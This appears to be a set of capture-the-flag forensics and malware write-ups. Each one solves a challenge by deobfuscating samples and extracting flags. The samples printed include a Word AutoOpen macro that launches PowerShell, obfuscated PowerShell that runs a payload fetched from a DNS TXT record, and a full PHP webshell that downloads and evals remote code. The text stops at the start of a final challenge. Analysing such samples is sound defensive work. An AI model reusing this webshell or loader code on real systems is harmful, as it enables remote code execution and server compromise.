VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
    OatMilk = OatMilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = OatMilk
End Function


Function Bears(Cows)
    Bears = StrReverse(Cows)
End Function

Function Tragedy()

    Dim Apples As String
    Dim Water As String

    If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
        Exit Function
    End If

    Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
    Water = Nuts(Apples)


    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin

End Function

Sub AutoOpen()
    Tragedy
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Create              |May execute file or a system command through |
|          |                    |WMI                                          |
|Suspicious|GetObject           |May get an OLE object with a running instance|
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|StrReverse          |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

To deobfuscate the strings, we have to start from the function Nuts, and work our way through all the other functions.

Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
    OatMilk = OatMilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = OatMilk
End Function

From this code, we can see that the string deobfuscation routine simply is the following:

  1. Take the three first characters of the string.
  2. Convert to int and subtract 17
  3. Convert to a character

Using the following script, we can deobfuscate the Apple string.

#!/usr/bin/env python3

data = '129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078'

for i in range(0, len(data), 3):
    print(chr(int(data[i:i+3]) - 17), end='')

Running the script returns the following command.

powershell -enc JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig==

Decoding the base64 payload returns the flag.

$flag="flag{63dcc82c30197768f4d458da12f618bc}"


Rogue Inbox

Forensics

Description

You’ve been asked to audit the Microsoft 365 activity for a recently onboarded as a customer of your MSP.

Your new customer is afraid that Debra was compromised. We received logs exported from Purview… can you figure out what the threat actor did? It might take some clever log-fu!

Solution

Attached is a M365 log with a bunch of events. Importing the CSV file in Excel or LibreOffice Calc, we can get a better view of the logs.

Looking through the logs, we can find the flag split up over a bunch of events.

To extract the flag, we can run the command grep -o \/f757cb79-dd91-4555-a45e-520c2525d932\\\\\\\\. *| awk '{print substr($0,length,1)}' | tr -d '\n'.

flag{24c4230fa7d50eef392b2c850f74b0f6}


Texas Chainsaw Massacre: Tokyo Drift

Forensics

Description

Ugh! One of our users was trying to install a Texas Chainsaw Massacre video game, and installed malware instead. Our EDR detected a rogue process reading and writing events to the Application event log. Luckily, it killed the process and everything seems fine, but we don’t know what it was doing in the event log.

The EVTX file is attached. Are you able to find anything malicious?

Solution

First, we need to extract the data from the attached EVTX, using a tool like python-evtx will help us with that. Running the command evtx_dump.py Application\ Logs.evtx > dump.xml will dump all data to dump.xml.

Opening the new dump.xml in a text editor, we see that there’s alot of events. To identify the interesting event, we can search for Texas Chainsaw Massacre, and we find the following event.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="MsiInstaller"></Provider>
<EventID Qualifiers="0">1337</EventID>
<Version>0</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x0080000000000000</Keywords>
<TimeCreated SystemTime="2023-10-10 16:02:47.088024"></TimeCreated>
<EventRecordID>1785</EventRecordID>
<Correlation ActivityID="" RelatedActivityID=""></Correlation>
<Execution ProcessID="9488" ThreadID="0"></Execution>
<Channel>Application</Channel>
<Computer>DESKTOP-JU2PNRI</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data>&lt;string&gt;Windows Installer installed the product. Product Name: The Texas Chain Saw Massacre (1974). Product Version: 8.0.382.5. Product Language: English. Director: Tobe Hooper. Installation success or error status: 0.&lt;/string&gt;
</Data>
<Binary>KCgnLiAoIFpUNkVOdjpDb01TcEVjWzQsMjQsJysnMjVdLWpvaW5oeDZoeDYpKCBhNlQgWlQ2KCBTZXQtdmFyaWFCbGUgaHg2T2ZTaHg2IGh4Nmh4NilhNlQrICggW1N0cmlOZycrJ10gW3JFR2VYXTo6bUF0Y2hlUyggYTZUICkpNDIxXVJBaENbLGh4NmZLSWh4NmVDQUxQZVItICA5M11SQWhDWywpODldUkFoQ1srODRdUkFoQ1srOThdUkFoQ1soIEVjYWxQZVJDLSAgNjNdUkFoQ1ssaHg2a3dsaHg2RWNhbFBlUkMtICApaHg2KWJoeDYraHg2MFliMFloeDYraHg2bmlPai1dNTIsaHg2K2h4NjQyLGh4NisnKydoeDY0W2NlaHg2K2h4NnBoeDYraHg2U01vQzpWbmh4NitoeDZla3dsICggaHg2K2h4Ni4gZktJICkgKERuRU9UREFoeDYraHg2ZWh4NitoeDZyLil9ICkgaHg2KycrJ2h4NmlpY3NBOmh4NitoeDY6XUduaWRPY05oeDYraHg2ZS5oeDYraHg2VGh4NitoeDZ4ZXRoeDYraHg2Lmh4NitoeDZNRVRzeXNbaHg2K2h4NiAsX2t3aHg2K2gnKyd4NmwgKFJFRGh4NitoeDZBZVJtYWVydFMubycrJ0loeDYraHg2IHRoeDYraHg2Q2h4NicrJytoeDZlamJPLVdoJysneDYraHg2RW4geyBIQ2FFUm9GaHg2K2h4NmZLSSkgc1NFUnBNJysnb0NlaHg2K2h4JysnNmRoeDYraHg2OjpoeDYraHg2XScrJ2VkT01oeDYraHg2Jysnbk9pc1NFclBNb2NoeDYraHg2Lk5vSVNTZXJoeDYraHg2cE1PYy5vaVssICkgYicrJzBZaHg2K2h4Nj09d0R5RDRwK1MnKydzL2wvaHg2K2h4NmkrNUd0YXRKS3lmTmpPaHg2KycrJ2h4NjNoeDYraHg2M2h4NitoeDY0Vmh4NitoeDZ2ajZ3UnlSWGUxeHkxcEIwaHg2K2h4NkFYVkxNZ093WWh4NitoeDYvL2h4NitoeDZXb21oeDYraHg2eicrJ3pVaHg2K2h4NnRCaHg2K2h4NnN4L2llMHJWWjdoeDYraHg2eGNMaW93V01HRVZqazdKTWZ4Vm11c3poeDYraHg2T1QzWGtLdTlUdk9zcmh4NitoeDZiYmh4NitoeDZjYmh4NitoeDZHeVo2Yy9nWWh4NitoeDZOcGlsaHg2K2h4NkJLN3g1aHg2K2h4NlBsY2h4NitoeDY4cVV5T2hCWWh4NitoeDZWZWNqTkxXNDJZak04U3d0QWh4NitoeDZhUjhJaHg2K2h4Nk9oeDYraHg2d2h4NitoeDZtaHg2K2h4NjZoeDYraHg2VXdXTm1XekN3JysnaHg2K2h4NlZyU2h4NitoeDZyN0loeDYraHg2VDJoeDYraHg2azZNajFNdWh4NitoeDZLaHg2K2h4NlQnKycvb1JoeDYraHg2TzVCS0s4UjNOaERoeDYraHg2b20yQWh4NitoeDZHWXBoeDYraHg2eWFoeDYraHg2VGFOZzhEQW5lTm9lU2poeDYraCcrJ3g2dWdrVEJGVGNDUGFTSDBRanBGeXdoeDYrJysnaHg2YVF5aHgnKyc2K2h4Nkh0UFVHJysnaHgnKyc2K2h4NkRMMEJLM2h4NitoJysneDZsQ2xySEF2aHg2K2gnKyd4NjRHT3BWS2h4NitoeDZVTmh4NitoeDZtR3pJRGVyYUV2bHBjJysna0M5RUdoeDYraHg2Z0lhZjk2alNtU2h4NicrJytoeDZNaGh4NitoeDZoaHg2K2h4NlJmSTcyaHg2K2h4Nm9IelVrRHNab1Q1aHg2K2h4Nm5oeDYraHg2YzdNRDhXMzFYcScrJ0toeDYraHg2ZDRkYnRoeDYraHg2YnRoMVJkU2lnRWFFaHg2K2h4NkpORVJNTFV4VicrJ2h4NitoeDZNRTRQSnRVaHg2K2h4NnRTSUpVWmZaaHg2K2h4NkVFaHg2K2h4NkFoeDYraHg2SnNUZERaTmJoeDYraHg2MFkoZ25pUlRTNGh4NitoeDY2ZXNoJysneDYraHg2YUJtb1JGOjpddFJldm5PaHg2K2h4NkNbXU1BZXJ0c1lyT21lTS5PaS5tRVRTWXNbIChNYUVyaHg2K2h4NnRoeDYraHg2c0V0QUxmZUQuTk9oeDYraHg2SXNTJysnZXJQbW8nKydjLk9JLm1laHg2K2h4NlRzWVNoeDYnKycraHg2IGh4NitoeDYgdENlamJPLVdFaHg2K2h4Nm4gKCBoeDYoKChubycrJ0lzc2VScFgnKydlLWVrb3ZuaSBhNlQsaHg2Lmh4NixoeDZSaWdodFRvTEVGdGh4NiApIFJZY2ZvckVhY2h7WlQ2XyB9KSthNlQgWlQ2KCBzViBoeDZvRnNoeDYgaHg2IGh4NilhNlQgKSAnKSAgLWNSRXBMQUNFIChbY0hBcl05MCtbY0hBcl04NCtbY0hBcl01NCksW2NIQXJdMzYgLXJFUGxBY2UnYTZUJyxbY0hBcl0zNCAgLXJFUGxBY2UgICdSWWMnLFtjSEFyXTEyNCAtY1JFcExBQ0UgIChbY0hBcl0xMDQrW2NIQXJdMTIwK1tjSEFyXTU0KSxbY0hBcl0zOSkgfC4gKCAkdkVSYm9TRXByZUZlUmVuQ2UudE9TdHJJTkcoKVsxLDNdKyd4Jy1KT2luJycp</Binary>
</EventData>
</Event>

Here we find some encoded data in the Binary tag. Decoding this data gives us a heavily obfuscated Powershell script.

(('. ( ZT6ENv:CoMSpEc[4,24,'+'25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg'+'] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+'+'hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+'+'hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+h'+'x6l (REDhx6+hx6AeRmaertS.o'+'Ihx6+hx6 thx6+hx6Chx6'+'+hx6ejbO-Wh'+'x6+hx6En { HCaERoFhx6+hx6fKI) sSERpM'+'oCehx6+hx'+'6dhx6+hx6::hx6+hx6]'+'edOMhx6+hx6'+'nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b'+'0Yhx6+hx6==wDyD4p+S'+'s/l/hx6+hx6i+5GtatJKyfNjOhx6+'+'hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6z'+'zUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCw'+'hx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T'+'/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+h'+'x6ugkTBFTcCPaSH0QjpFywhx6+'+'hx6aQyhx'+'6+hx6HtPUG'+'hx'+'6+hx6DL0BK3hx6+h'+'x6lClrHAvhx6+h'+'x64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpc'+'kC9EGhx6+hx6gIaf96jSmShx6'+'+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31Xq'+'Khx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxV'+'hx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66esh'+'x6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsS'+'erPmo'+'c.OI.mehx6+hx6TsYShx6'+'+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((no'+'IsseRpX'+'e-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. ( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')

After a first pass of deobfuscating, the script is a bit better, but not readable at all.

. ( $ENv:CoMSpEc[4,24,25]-join'')( " $( Set-variaBle 'OfS' '')"+ ( [StriNg] [rEGeX]::mAtcheS( " ))421]RAhC[,'fKI'eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,'kwl'EcalPeRC-  )')b'+'0Yb0Y'+'niOj-]52,'+'42,'+'4[ce'+'p'+'SMoC:Vn'+'ekwl ( '+'. fKI ) (DnEOTDA'+'e'+'r.)} ) '+'iicsA:'+':]GnidOcN'+'e.'+'T'+'xet'+'.'+'METsys['+' ,_kw'+'l (RED'+'AeRmaertS.oI'+' t'+'C'+'ejbO-W'+'En { HCaERoF'+'fKI) sSERpMoCe'+'d'+'::'+']edOM'+'nOisSErPMoc'+'.NoISSer'+'pMOc.oi[, ) b0Y'+'==wDyD4p+Ss/l/'+'i+5GtatJKyfNjO'+'3'+'3'+'4V'+'vj6wRyRXe1xy1pB0'+'AXVLMgOwY'+'//'+'Wom'+'zzU'+'tB'+'sx/ie0rVZ7'+'xcLiowWMGEVjk7JMfxVmusz'+'OT3XkKu9TvOsr'+'bb'+'cb'+'GyZ6c/gY'+'Npil'+'BK7x5'+'Plc'+'8qUyOhBY'+'VecjNLW42YjM8SwtA'+'aR8I'+'O'+'w'+'m'+'6'+'UwWNmWzCw'+'VrS'+'r7I'+'T2'+'k6Mj1Mu'+'K'+'T/oR'+'O5BKK8R3NhD'+'om2A'+'GYp'+'ya'+'TaNg8DAneNoeSj'+'ugkTBFTcCPaSH0QjpFyw'+'aQy'+'HtPUG'+'DL0BK3'+'lClrHAv'+'4GOpVK'+'UN'+'mGzIDeraEvlpckC9EG'+'gIaf96jSmS'+'Mh'+'h'+'RfI72'+'oHzUkDsZoT5'+'n'+'c7MD8W31XqK'+'d4dbt'+'bth1RdSigEaE'+'JNERMLUxV'+'ME4PJtU'+'tSIJUZfZ'+'EE'+'A'+'JsTdDZNb'+'0Y(gniRTS4'+'6es'+'aBmoRF::]tRevnO'+'C[]MAertsYrOmeM.Oi.mETSYs[ (MaEr'+'t'+'sEtALfeD.NO'+'IsSerPmoc.OI.me'+'TsYS'+' '+' tCejbO-WE'+'n ( '(((noIsseRpXe-ekovni ",'.','RightToLEFt' ) |forEach{$_ })+" $( sV 'oFs' ' ')" )

After the second pass, we stil have some way to go, so let’s keep deobfuscating the code.

 invoke-eXpRessIon(((' ( n'+'EW-ObjeCt '+' '+'SYsT'+'em.IO.comPreSsI'+'ON.DefLAtEs'+'t'+'rEaM( [sYSTEm.iO.MemOrYstreAM][C'+'OnveRt]::FRomBa'+'se6'+'4STRing(Y0'+'bNZDdTsJ'+'A'+'EE'+'ZfZUJISt'+'UtJP4EM'+'VxULMRENJ'+'EaEgiSdR1htb'+'tbd4d'+'KqX13W8DM7c'+'n'+'5ToZsDkUzHo'+'27IfR'+'h'+'hM'+'SmSj69faIg'+'GE9CkcplvEareDIzGm'+'NU'+'KVpOG4'+'vAHrlCl'+'3KB0LD'+'GUPtH'+'yQa'+'wyFpjQ0HSaPCcTFBTkgu'+'jSeoNenAD8gNaT'+'ay'+'pYG'+'A2mo'+'DhN3R8KKB5O'+'Ro/T'+'K'+'uM1jM6k'+'2T'+'I7r'+'SrV'+'wCzWmNWwU'+'6'+'m'+'w'+'O'+'I8Ra'+'AtwS8MjY24WLNjceV'+'YBhOyUq8'+'clP'+'5x7KB'+'lipN'+'Yg/c6ZyG'+'bc'+'bb'+'rsOvT9uKkX3TO'+'zsumVxfMJ7kjVEGMWwoiLcx'+'7ZVr0ei/xs'+'Bt'+'Uzz'+'moW'+'//'+'YwOgMLVXA'+'0Bp1yx1eXRyRw6jv'+'V4'+'3'+'3'+'OjNfyKJtatG5+i'+'/l/sS+p4DyDw=='+'Y0b ) ,[io.cOMp'+'reSSIoN.'+'coMPrESsiOn'+'MOde]'+'::'+'d'+'eCoMpRESs )IKf'+'FoREaCH { nE'+'W-Obje'+'C'+'t '+'Io.StreamReA'+'DER( l'+'wk_, '+'[sysTEM'+'.'+'tex'+'T'+'.e'+'NcOdinG]:'+':Ascii'+' ) }).r'+'e'+'ADTOEnD( ) IKf .'+' ( lwke'+'nV:CoMS'+'p'+'ec[4'+',24'+',25]-jOin'+'Y0bY0'+'b)')  -CRePlacE'lwk',[ChAR]36  -CRePlacE ([ChAR]89+[ChAR]48+[ChAR]98),[ChAR]39  -RePLACe'IKf',[ChAR]124)) 

Another pass at the deobfuscating and we start to see some real code, but we need to do another pass at deobfuscating the code.

( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( [sYSTEm.iO.MemOrYstreAM][COnveRt]::FRomBase64STRing('NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw==' ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )|FoREaCH { nEW-ObjeCt Io.StreamReADER( $_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( ) | . ( $enV:CoMSpec[4,24,25]-jOin'')

Running this code in a Powershell instance, we get the following code.

try {$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi" -ErrorAction 'silentlycontinue' ; if ($error.Count -eq 0) { $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }); if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)) | Invoke-Expression } } } catch { }

Here we see that the script resolves a DNS TXT record for the domain eventlog.zip, which contains the next payload.

Let’s take a look at the TXT record by running dig eventlog.zip txt.

; <<>> DiG 9.16.1-Ubuntu <<>> eventlog.zip txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54669
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;eventlog.zip.                  IN      TXT

;; ANSWER SECTION:
eventlog.zip.           3600    IN      TXT     "U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg=="

;; Query time: 164 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Wed Oct 18 15:21:08 CEST 2023
;; MSG SIZE  rcvd: 178

Base64 decoding the data in the TXT record, we get the flag.

Start-Process "https://youtu.be/561nnd9Ebss?t=16"
#flag{409537347c2fae01ef9826c2506ac660}#

Bad Memory

Forensics

Description

A user came to us and said they forgot their password. Can you recover it? The flag is the MD5 hash of the recovered password wrapped in the proper flag format.

Solution

Attached to the challenge is a Windows memory dump, and our goal is to recover the password for the user. Running Volatility 3, with the option windows.hashdump, will dump all hashes found in the memdump.

Volatility 3 Framework 2.5.0
Progress:  100.00        PDB scanning finished
User    rid lmhash  nthash

Administrator    500 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
Guest    501 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount    503 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount    504 aad3b435b51404eeaad3b435b51404ee    4cff1380be22a7b2e12d22ac19e2cdc0
congo    1001    aad3b435b51404eeaad3b435b51404ee    ab395607d3779239b83eed9906b4fb92

Here we find the hash for the user congo. Now we can reverse the hash ab395607d3779239b83eed9906b4fb92 using an online database like CrackStation.

To get the md5 hash of the password, we can run the command echo -n "goldfish#" | md5sum, which gets us the flag.

flag{2eb53da441962150ae7d3840444dfdde}


Zerion

Malware

Description

We observed some odd network traffic, and found this file on our web server… can you find the strange domains that our systems are reaching out to?

Solution

Attached to the challenge is a file named zerion, opening the file we find some obfuscated PHP code.

<?php $L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__)); $L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);exit();?>==Dstfmoz5JnxNvolIUqyWUV7xFXa0lWtbQVaD1Wt8QVcNQZlNQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlW0qPV/NFXjNwZjtUZtLPVm1zpyOUWbtPV/NFXkNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXlNQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/NFX0NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xFXa0lWtbQVaZ1Wt8QVcNQZ0NQrjNvWtZKolITpxtPXtbQVcNlW4qPV6NlWmqPV/NFXjNQAjtUZtLPVm1zpyOUWbtPV/NFX4NQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlW3qPV/NFXjRQZjtUZtLPVm1zpyOUWbtPV94PViMzocEPV7xlWgpPV6NlWlqPV/NFXjVQZjtUZtLPVm1zp
<snip>

Let’s go through what this code does. But first of all, let’s deobfuscate the first PHP block. After we have cleaned the code up and replaced all base64 encoded strings with the decoded values, we end up with the following code.

<?php
$L66Rgr = explode("?>", file_get_contents(__FILE__));
$L6CRgr = array("/x/i", "x", base64_decode(strrev(str_rot13($L66Rgr[1]))));
$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";
preg_replace($L6CRgr[0], serialize(eval($L6CRgr[2])), $L6CRgr[1]);
exit();
?>

Now it’s easier to follow the code and understand what happens. At first, the whole source file is read and split in an array on the delimiter ?>, which means that we have the PHP code in $L66Rgr[0] and the additional string in $L66Rgr[1].

Next, the string in $L66Rgr[1] is manipulated, first by running rot13, then reversing the string and, finally base64 decoding the string. Finally, the decoded string is used as an argument to eval.

So the next step for us is to do the same decoding on the string to find out what the next payload is. After decoding the string we get a PHP shell.

At the top of the file we find a function.

function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}
');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; $content = @file_get_contents($file_path);if(!$content){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){ die('{->'.$L7CRgr.'<-}'); }
$pass = false;
if (isset($_COOKIE['pass'])) { if(md5($_COOKIE['pass']) == $L7CRgr) { $pass = true; } } else { if (isset($_POST['pass'])) { if(md5($_POST['pass']) == $L7CRgr) { setcookie("pass", $_POST['pass']); $pass = true; } } }
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("pass", null); $pass= false; }
if(isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
    $a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
    $need = base64_decode("PD9waHA=");
    if (strpos($a, $need) === false) { $a = $need . PHP_EOL . $a; }
    if (isset($_REQUEST['e'])){ $a = str_replace($need, "", $a); $b = 'e'.base64_decode("dmE=").'l'; $b($a);die(); }
    $file_name = tmpfile(); fwrite($file_name, $a);
    $require_params = stream_get_meta_data($file_name);
    @require($require_params['uri']);
    fclose($file_name);die(); }
if (isset($_REQUEST['auth_key'])){ die($L7CRgr); } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>'; die(); }

Looking through the code, we can find the flag on line 4.

if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}

HumanTwo

Malware

Description

During the MOVEit Transfer exploitation, there were tons of “indicators of compromise” hashes available for the human2.aspx webshell! We collected a lot of them, but they all look very similar… except for very minor differences. Can you find an oddity?

Solution

Extracting the challenge zip results in 1000 versions of human2.aspx, and we are supposed to find an oddity in those files.

Opening one of the files, we see that it is an aspx file with references to MOVEit, but nothing that stands out as to where the oddity could be. Let’s find out what is different in each file. Using a program like diff, we can quickly identify where there are differences.

Using diff to find the differences in the two first files, we can see that the only difference is a password string.

diff 00016e6f4c0dbf5c88f630f53821f086363606c274832568b50c11d04ad044f9 000ce897ff8a17528a3116dcf74380a8c67be7d11e9bff038397df4fdf5fc5f4
36c36
<     if (!String.Equals(pass, "8919aabc-9b40-40a9-b568-0e256e496a51")) {
---
>     if (!String.Equals(pass, "e11320cf-f34b-4cc8-b4e3-46b4ad6e50ab")) {

Using some bash scripting, we can diff all the files automatically.

for i in *; do diff 00016e6f4c0dbf5c88f630f53821f086363606c274832568b50c11d04ad044f9 $i; done

In the output, one result stands out.

>     if (!String.Equals(pass, "666c6167-7b36-6365-3666-366131356464"+"64623065-6262-3333-3262-666166326230"+"62383564-317d-0000-0000-000000000000")) {

Looking closer at the values in the GUIDs, they look like they are hex values in the ASCII range. We can try to decode the first part, 666c6167, which will return the string flag. Extracting and decoding all the hex values reveals the flag.

flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}


Hot Off The Press

Malware

Description

Oh wow, a malware analyst shared a sample that I read about in the news!

But it looks like they put it in some weird kind of archive…? Anyway, the password should be infected as usual!

Solution

First, we need to unpack the attached file, and to do so we need to identify which “weird” archive format they have used. Running file hot_off_the_press identifies the file as UHarc archive data. Now, all we have to do is unpack the UHA file using a tool like UHARC or WinUHA.

After unpacking the UHA file, we get an obfuscated PowerShell script.

